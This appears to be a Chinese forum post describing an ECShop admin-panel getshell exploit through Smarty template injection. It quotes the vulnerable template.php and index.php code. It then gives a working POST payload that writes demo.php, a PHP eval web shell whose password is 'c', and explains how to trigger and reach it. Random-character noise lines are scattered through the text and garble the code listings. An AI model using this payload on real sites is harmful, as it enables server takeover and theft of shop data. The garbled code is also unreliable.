Ecshop后台getshell

admin

首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板

而模板里面可以执行他定义的php代码，这样只要可以写出模板 然后找到调用就可以拿到shell了
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
admin/template.php
* d" w+ F! l& L. ?
9 N$ E4 [/ n9 S, k5 D! b3 v3 C! g1 if ($_REQUEST['act'] == 'update_library')

$ j8 ?% W3 b: q# A) y8 Y! B2   

3 {

4     check_authz_json('library_manage');

5   
: y  e3 V& W# K. B1 {3 `
7 ]7 _2 d, c% F- s6     $html = stripslashes(json_str_iconv($_POST['html']));
0 r6 ]  P$ o+ a% {( E& g
7   

8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件

# ~- x- Y3 }" n; M- ^9   
1 f" @7 X8 {" ~
4 |* `" N. e! A/ K% c10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
$ E  R9 G8 D& t7 V
4 S7 ?8 p  L& M5 N+ @0 u  X11   
4 w$ D) @2 W' D2 _
12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
) L. k0 ^3 o7 d1 m% y- ^
13   

14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出

15     {
8 }" L3 @7 S) p
3 {. ]7 b$ U  |$ C7 a* `1 }5 `16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
( @! n1 M7 y; H9 a
5 y/ q4 ^! }3 S* u, o3 Z3 D17         make_json_result('', $_LANG['update_lib_success']);

18     }

! b; W' B* F, D  j. m19     else

20     {

+ C, Z' G8 s! x21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));

. j. L" c5 G- _$ J22     }

23 }
, K! {8 r( \2 |6 F$ n0 O- v1 q! q
. Y6 E  q0 _) I# \( H' L5 t  Y那么找个比较方便调用了模板的文件
index.php
5 C1 J! b* C3 y0 O" N/ F
) p; k( Y3 e1 g9 _2 s3 M5 E1 if ($act == 'cat_rec')
9 s: B5 K- _8 S/ d: h- e
2   

3 {
. h2 x1 s& g4 ^6 T) a4 h& E
4   

5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
  }( ~% T+ H& X5 F
6   

7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
' J2 m% j' t* Q" z* z
' q3 |* f& p! B9 I8   

9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';
: P$ G6 z8 Q% Z( {' ?: y2 q
10   

11     include_once('includes/cls_json.php');

12   
7 _2 i6 F+ Z6 z2 A: U/ d
13     $json = new JSON;

9 {! K% z- a$ X2 C) E2 b8 ~: J! p14   

15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
3 l3 o# a5 B) j
16   
) ]& K9 G& O! @. z! _. f
* r! X8 B, ?2 e- Y3 U17     $children = get_children($cat_id);

6 i2 Q7 V# D+ i$ e18   
/ e" k" I9 Q3 F* N% w5 d
19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品

9 q! Z9 ^+ Z* a( p1 ]& {; i8 X20   
6 l$ N$ V) k; N. k! F, y. s+ l
21     $smarty->assign('cat_rec_sign', 1);
% l& k7 r+ J' n; }/ Q9 a7 P3 V
22   
* Q( L1 w( }8 i
23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best

/ e7 V! B# [5 g6 [24   

25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
% h& x5 O2 {' e1 f& a
/ c$ Y9 F  e. G26   

+ p% L. A* _/ G+ I% Z; y27         echo $rec_array[$rec_type];

8 {. d% O0 D( c7 Z1 X28   
4 |9 l7 p  o3 T+ D8 `+ g2 i; x1 P9 U
29     die($json->encode($result));
# O$ V/ e% }" r0 @& ?* i% Q3 p
30   

31 }
; d: t- g* A) R1 j5 Q1 F
那么就有利用方法了
  `6 z$ X" S4 Apost包到http://localhost/ec/admin/template.php?act=update_library
0 q4 m& x3 B, z# f+ zPost内容：
7 S2 K1 O. d+ g+ w) \4 X4 W
​
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
. b7 c+ i5 c- U
2 g2 _  V! P* {9 t- l然后访问http://localhost/ec/index.php?act=cat_rec
% W4 f  H7 o/ y) r; P/ y
4 d: \6 i+ X/ cshel地址：http://localhost/ec/demo.php
密码c
+ {- @; u# t3 y9 \7 F0 c
3 j& V% G; @7 E; I( H# J" v$ l